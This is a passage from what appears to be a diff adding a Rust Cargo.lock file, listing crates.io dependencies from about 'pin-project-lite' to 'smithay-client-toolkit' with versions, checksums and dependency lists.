"c96395f0a926bc13b1c17622aaddda1ecb55d49c8f1bf9777e4d877800a43f8b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "piper" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c835479a4443ded371d6c535cbfd8d31ad92c5d23ae9770a61bc155e4992a3c1" +dependencies = [ + "atomic-waker", + "fastrand", + "futures-io", +] + +[[package]] +name = "pipewire" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bde71084c4e25959d68f1ea54daa75e5ecdb338e5caf0b5510143b79baa32d5c" +dependencies = [ + "bitflags 2.13.2", + "libc", + "libspa", + "libspa-sys", + "pipewire-sys", + "rustix 1.1.5", +] + +[[package]] +name = "pipewire-sys" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce653f53e63e5b93853218092ee9a8906a5d082c92f3f1db26316955dd63ce0" +dependencies = [ + "bindgen", + "libspa-sys", + "system-deps", +] + +[[package]] +name = "pkcs1" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f" +dependencies = [ + "der", + "pkcs8", + "spki", +] + +[[package]] +name = "pkcs8" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7" +dependencies = [ + "der", + "spki", +] + +[[package]] +name = "pkg-config" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6b464fbc74e149a392436b17d523f769e057cb6877f6a5c4618bc6f11800548" + +[[package]] +name = "plain" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6" + +[[package]] +name = "png" +version = "0.17.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82151a2fc869e011c153adc57cf2789ccb8d9906ce52c0b39a6b5697749d7526" +dependencies = [ + "bitflags 1.3.2", + "crc32fast", + "fdeflate", + "flate2", + "miniz_oxide 0.8.9", +] + +[[package]] +name = "png" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "60769b8b31b2a9f263dae2776c37b1b28ae246943cf719eb6946a1db05128a61" +dependencies = [ + "bitflags 2.13.2", + "crc32fast", + "fdeflate", + "flate2", + "miniz_oxide 0.8.9", +] + +[[package]] +name = "polling" +version = "3.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d0e4f59085d47d8241c88ead0f274e8a0cb551f3625263c05eb8dd897c34218" +dependencies = [ + "cfg-if", + "concurrent-queue", + "hermit-abi", + "pin-project-lite", + "rustix 1.1.5", + "windows-sys 0.61.2", +] + +[[package]] +name = "pollster" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f3a9f18d041e6d0e102a0a46750538147e5e8992d3b4873aaafee2520b00ce3" + +[[package]] +name = "pollster" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc6355899e1c9462875b6757c79f3caa011a1fdae12bbb1a2e72dd1f234f8336" + +[[package]] +name = "polycool" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50596ddc09eb5ad5f75cacd40209568e66df71baf86e1499a0e99c4cff12a5a6" +dependencies = [ + "arrayvec", +] + +[[package]] +name = "portable-atomic" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05c8b63e8d9609db387f0324918f81d68fe27748f084ef092fb35954d0539a85" + +[[package]] +name = "portable-atomic-util" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10ab3eb7f3becc3a1cbc4f2c6f20267996cfc1a6467a873763411b136a122715" +dependencies = [ + "portable-atomic", +] + +[[package]] +name = "portable-pty" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4a596a2b3d2752d94f51fac2d4a96737b8705dddd311a32b9af47211f08671e" +dependencies = [ + "anyhow", + "bitflags 1.3.2", + "downcast-rs", + "filedescriptor", + "lazy_static", + "libc", + "log", + "nix 0.28.0", + "serial2", + "shared_library", + "shell-words", + "winapi", + "winreg", +] + +[[package]] +name = "postcard" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6764c3b5dd454e283a30e6dfe78e9b31096d9e32036b5d1eaac7a6119ccb9a24" +dependencies = [ + "cobs", + "embedded-io 0.4.0", + "embedded-io 0.6.1", + "serde", +] + +[[package]] +name = "potential_utf" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d83eb9bc6d8e5cf568e7a1101d60ee05e81ed50ea106026f3d18deeb046d7661" +dependencies = [ + "serde_core", + "writeable", + "zerovec", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "presser" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8cf8e6a8aa66ce33f63993ffc4ea4271eb5b0530a9002db8455ea6050c77bfa" + +[[package]] +name = "primeorder" +version = "0.13.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "353e1ca18966c16d9deb1c69278edbc5f194139612772bd9537af60ac231e1e6" +dependencies = [ + "elliptic-curve", +] + +[[package]] +name = "proc-macro-crate" +version = "3.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e67ba7e9b2b56446f1d419b1d807906278ffa1a658a8a5d8a39dcb1f5a78614f" +dependencies = [ + "toml_edit", +] + +[[package]] +name = "proc-macro2" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "process-wrap" +version = "10.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f21b97672d2dc848e7b25701ab4535618b92f4861c13cc3f7f7bed52ad3c8da" +dependencies = [ + "indexmap", + "nix 0.31.3", + "windows", +] + +[[package]] +name = "profiling" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d595e54a326bc53c1c197b32d295e14b169e3cfeaa8dc82b529f947fba6bcf5" + +[[package]] +name = "pulley-interpreter" +version = "49.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5cd3de43f4f4cff536de8902097edbdf749321b97dda548f36a37918eb85bba3" +dependencies = [ + "cranelift-bitset", + "log", + "pulley-macros", + "wasmtime-internal-core", +] + +[[package]] +name = "pulley-macros" +version = "49.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8319a8fa5269b4895957f8795861c42822bd26218e495f70060a963323d94847" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "pxfm" +version = "0.1.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d55d956fa96f5ec02be2e13af0e20391a5aa83d6a074e3ad368959d0fab299ea" + +[[package]] +name = "quick-error" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a993555f31e5a609f617c12db6250dedcac1b0a85076912c436e6fc9b2c8e6a3" + +[[package]] +name = "quick-xml" +version = "0.41.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e660451e55124f798a69a5af3f49ccfbefbd41910eefd25caf2393e1f3473ec1" +dependencies = [ + "memchr", +] + +[[package]] +name = "quote" +version = "1.0.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "radium" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09" + +[[package]] +name = "rand" +version = "0.8.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e058c7de0b26af77780c769414d6257830bb240f3c38477dbc2c16e5f54d6d4c" +dependencies = [ + "libc", + "rand_chacha", + "rand_core 0.6.4", +] + +[[package]] +name = "rand" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65c9fb96cbc91e3478eaae79a69fcd3f1ae4ad052e471fe6732fff548984b4af" +dependencies = [ + "chacha20", + "getrandom 0.4.3", + "rand_core 0.10.1", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.17", +] + +[[package]] +name = "rand_core" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69" + +[[package]] +name = "range-alloc" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca45419789ae5a7899559e9512e58ca889e41f04f1f2445e9f4b290ceccd1d08" + +[[package]] +name = "raw-window-handle" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20675572f6f24e9e76ef639bc5552774ed45f1c30e2951e1e99c59888861c539" + +[[package]] +name = "raw-window-metal" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40d213455a5f1dc59214213c7330e074ddf8114c9a42411eb890c767357ce135" +dependencies = [ + "objc2 0.6.5", + "objc2-core-foundation", + "objc2-foundation 0.3.2", + "objc2-quartz-core 0.3.2", +] + +[[package]] +name = "rayon" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb39b166781f92d482534ef4b4b1b2568f42613b53e5b6c160e24cfbfa30926d" +dependencies = [ + "either", + "rayon-core", +] + +[[package]] +name = "rayon-core" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22e18b0f0062d30d4230b2e85ff77fdfe4326feb054b9783a3460d8435c8ab91" +dependencies = [ + "crossbeam-deque", + "crossbeam-utils", +] + +[[package]] +name = "read-fonts" +version = "0.41.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "046a7d674daf459825b32f5062056d6882db0d2f5a479fbd76ccfc870ac18709" +dependencies = [ + "bytemuck", + "font-types", + "once_cell", +] + +[[package]] +name = "redox_syscall" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "redox_syscall" +version = "0.5.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" +dependencies = [ + "bitflags 2.13.2", +] + +[[package]] +name = "redox_syscall" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "737970939a87c6fa31e7acad13307bccbb017a073b695b6089a2c484f929e20e" +dependencies = [ + "bitflags 2.13.2", +] + +[[package]] +name = "redox_users" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "60dc65c0ff1a7ae1294b0c67b9f14baf70b644404010370171787bfac1038fc0" +dependencies = [ + "libredox", + "thiserror 2.0.21", +] + +[[package]] +name = "ref-cast" +version = "1.0.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e440fb4e4b4147295338efb76001ab9e4efc0e5839df2c47fc5ac2381d365c3" +dependencies = [ + "ref-cast-impl", +] + +[[package]] +name = "ref-cast-impl" +version = "1.0.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92ecd8964f8453721699a1ed72037b0db49ce2f5a5138486ee89bed6f67cdf3a" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "regalloc2" +version = "0.15.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "757712e8e61590d6d4f5d563483755538b5aa13467837a3b41cd9832509a7f85" +dependencies = [ + "allocator-api2", + "bumpalo", + "hashbrown 0.17.1", + "log", + "rustc-hash 2.1.3", + "serde", + "smallvec", +] + +[[package]] +name = "regex" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f020237b6c8eed93db2e2cb53c00c60a8e1bc73da7d073199a1180401450218d" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad8553b9b26413251cbf30e620595c7a41b3887f03da04579c0e6b0d6a06b4b2" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4" + +[[package]] +name = "renderdoc-sys" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19b30a45b0cd0bcca8037f3d0dc3421eaf95327a17cad11964fb8179b4fc4832" + +[[package]] +name = "resvg" +version = "0.45.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8928798c0a55e03c9ca6c4c6846f76377427d2c1e1f7e6de3c06ae57942df43" +dependencies = [ + "log", + "pico-args", + "rgb", + "svgtypes", + "tiny-skia", + "usvg", +] + +[[package]] +name = "rfc6979" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dd2a808d456c4a54e300a23e9f5a67e122c3024119acbfd73e3bf664491cb2" +dependencies = [ + "hmac", + "subtle", +] + +[[package]] +name = "rfd" +version = "0.17.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20dafead71c16a34e1ff357ddefc8afc11e7d51d6d2b9fbd07eaa48e3e540220" +dependencies = [ + "block2 0.6.2", + "dispatch2", + "js-sys", + "libc", + "log", + "objc2 0.6.5", + "objc2-app-kit 0.3.2", + "objc2-core-foundation", + "objc2-foundation 0.3.2", + "percent-encoding", + "pollster 0.4.0", + "raw-window-handle", + "wasm-bindgen", + "wasm-bindgen-futures", + "wayland-backend", + "wayland-client", + "wayland-protocols", + "web-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "rgb" +version = "0.8.53" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47b34b781b31e5d73e9fbc8689c70551fd1ade9a19e3e28cfec8580a79290cc4" +dependencies = [ + "bytemuck", +] + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom 0.2.17", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "ron" +version = "0.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81116b9531d61eabc41aeb228e4b6b2435bcca3233b98cf3b3077d4e6e9debb3" +dependencies = [ + "bitflags 2.13.2", + "once_cell", + "serde", + "serde_derive", + "typeid", + "unicode-ident", +] + +[[package]] +name = "roxmltree" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c20b6793b5c2fa6553b250154b78d6d0db37e72700ae35fad9387a46f487c97" + +[[package]] +name = "rsa" +version = "0.9.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8573f03f5883dcaebdfcf4725caa1ecb9c15b2ef50c43a07b816e06799bb12d" +dependencies = [ + "const-oid", + "digest", + "num-bigint-dig", + "num-integer", + "num-traits", + "pkcs1", + "pkcs8", + "rand_core 0.6.4", + "sha2", + "signature", + "spki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b74b56ffa8bb2830709a538c2cbcae9aa062db0d2a42563bfb09bdaae44020eb" + +[[package]] +name = "rustc-hash" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" + +[[package]] +name = "rustc-hash" +version = "2.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b1e7f9a428571be2dc5bc0505c13fb6bf936822b894ec87abf8a08a4e51742d" + +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + +[[package]] +name = "rustix" +version = "0.38.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154" +dependencies = [ + "bitflags 2.13.2", + "errno", + "libc", + "linux-raw-sys 0.4.15", + "windows-sys 0.59.0", +] + +[[package]] +name = "rustix" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "891efababe418670775f199f0d233d84843c227a0949a883ce15b37c78d6629d" +dependencies = [ + "bitflags 2.13.2", + "errno", + "libc", + "linux-raw-sys 0.12.1", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustls" +version = "0.23.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48e13bd8c0e9365c43cfa5c9e8f9ad49d3c8444926c9aac819e0e4dc503c8fdf" +dependencies = [ + "log", + "once_cell", + "ring", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-pki-types" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f4925028c7eb5d1fcdaf196971378ed9d2c1c4efc7dc5d011256f76c99c0a96" +dependencies = [ + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.103.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3c3cf1d8b1e7d4927e2d154c3fcb02979afb9939629c62cd9048d4f07b60ac2" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted", +] + +[[package]] +name = "rustversion" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f" + +[[package]] +name = "ruzstd" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69e4ce4a039f42bf25920b95667e4d789e98749ab11bbb8d2c2936f788421bb5" + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "schemars" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "687274d293b6cdc6e73e0fee520bf2049650090d7164f87672d212a3c530cf4a" +dependencies = [ + "dyn-clone", + "ref-cast", + "schemars_derive", + "serde", + "serde_json", +] + +[[package]] +name = "schemars_derive" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d98c67716b46af2f0b8cf752abc930f6f9aecfbf671ecfb531db8a31dbe4e2ba" +dependencies = [ + "proc-macro2", + "quote", + "serde_derive_internals", + "syn 3.0.9", +] + +[[package]] +name = "scoped-tls" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1cf6437eb19a8f4a6cc0f7dca544973b0b78843adbfeb3683d1a94a0024a294" + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "sec1" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3e97a565f76233a6003f9f5c54be1d9c5bdfa3eccfb189469f11ec4901c47dc" +dependencies = [ + "base16ct", + "der", + "generic-array", + "pkcs8", + "subtle", + "zeroize", +] + +[[package]] +name = "secret-service" +version = "4.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e4d35ad99a181be0a60ffcbe85d680d98f87bdc4d7644ade319b87076b9dbfd4" +dependencies = [ + "aes", + "cbc", + "futures-util", + "generic-array", + "hkdf", + "num", + "once_cell", + "rand 0.8.8", + "serde", + "sha2", + "zbus 4.4.0", +] + +[[package]] +name = "security-framework" +version = "2.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02" +dependencies = [ + "bitflags 2.13.2", + "core-foundation 0.9.4", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework" +version = "3.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7f4bc775c73d9a02cde8bf7b2ec4c9d12743edf609006c7facc23998404cd1d" +dependencies = [ + "bitflags 2.13.2", + "core-foundation 0.10.1", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2691df843ecc5d231c0b14ece2acc3efb62c0a398c7e1d875f3983ce020e3" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "self_cell" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2ab42ca02749e120097e328d91d415325bdf43b1c72c4c8badf37375fe40a813" + +[[package]] +name = "semver" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd" +dependencies = [ + "serde", + "serde_core", +] + +[[package]] +name = "seq-macro" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bc711410fbe7399f390ca1c3b60ad0f53f80e95c5eb935e52268a0e2cd49acc" + +[[package]] +name = "serde" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "serde_derive_internals" +version = "0.30.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f852137cce035d6a4df67ccce505ff6b3e9fd3a10e3e52b24dc71e650bb1a9bd" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "serde_json" +version = "1.0.154" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7e9cc8b1b85264074fbcc02a88680c4096b1e47df8f739dceb03bf482f04bd6" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "serde_repr" +version = "0.1.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8d3b1629de253c70a0508c3899572da79ca359fdab27c7920ff00406df418906" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "serde_spanned" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e7523beb55eece201a2356bee0bbca0d1ab466c14c07703b2e0ee6d42cb0c2c" +dependencies = [ + "serde_core", +] + +[[package]] +name = "serial2" +version = "0.2.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b16809bc35793b19ce4e0c53924bc0dce3937f15487997cfdaed936004180730" +dependencies = [ + "cfg-if", + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "sha1" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a978451301f4db1d02937a4ab3ccce137717b81826e79b7d49ffe3244a13c3b8" +dependencies = [ + "cfg-if", + "cpufeatures 0.2.17", + "digest", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures 0.2.17", + "digest", +] + +[[package]] +name = "shared_library" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a9e7e0f2bfae24d8a5b5a66c5b257a83c7412304311512a0c054cd5e619da11" +dependencies = [ + "lazy_static", + "libc", +] + +[[package]] +name = "shell-words" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc6fe69c597f9c37bfeeeeeb33da3530379845f10be461a66d16d03eca2ded77" + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "shlex" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" + +[[package]] +name = "signal-hook-registry" +version = "1.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b" +dependencies = [ + "errno", + "libc", +] + +[[package]] +name = "signature" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" +dependencies = [ + "digest", + "rand_core 0.6.4", +] + +[[package]] +name = "simd-adler32" +version = "0.3.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3a219298ac11a56ea9a6d2120044824d6f01aeb034955e7af7bc16858527deea" + +[[package]] +name = "simd_cesu8" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11031e251abf8611c80f460e19dbdeb54a66db918e49c65a7065b46ac7aec520" +dependencies = [ + "rustc_version", + "simdutf8", +] + +[[package]] +name = "simdutf8" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3a9fe34e3e7a50316060351f37187a3f546bce95496156754b601a5fa71b76e" + +[[package]] +name = "simplecss" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a9c6883ca9c3c7c90e888de77b7a5c849c779d25d74a1269b0218b14e8b136c" +dependencies = [ + "log", +] + +[[package]] +name = "siphasher" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33f4fe9184a62d842c9ef383018f3306d8ba224fd9d836f56d7288308847c256" + +[[package]] +name = "skrifa" +version = "0.44.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819ab7d62b1d3e72d9d9dea5650bac30424f9111364bb94928dbf5ecad1baa68" +dependencies = [ + "bytemuck", + "read-fonts", +] + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "slotmap" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bdd58c3c93c3d278ca835519292445cb4b0d4dc59ccfdf7ceadaab3f8aeb4038" +dependencies = [ + "version_check", +] + +[[package]] +name = "smallvec" +version = "1.16.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b3dc8af474f516a851ff4bd12db780f948b9250ad37211e4eec0bccea54e01b" +dependencies = [ + "serde", +] + +[[package]] +name = "smawk" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8e2fb0f499abb4d162f2bedad68f5ef91a1682b5a03596ddb67efd37768d100" + +[[package]] +name = "smithay-client-toolkit" +version = "0.19.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3457dea1f0eb631b4034d61d4d8c32074caa6cd1ab2d59f2327bd8461e2c0016" +dependencies = [ + "bitflags 2.13.2", + "calloop 0.13.0", + 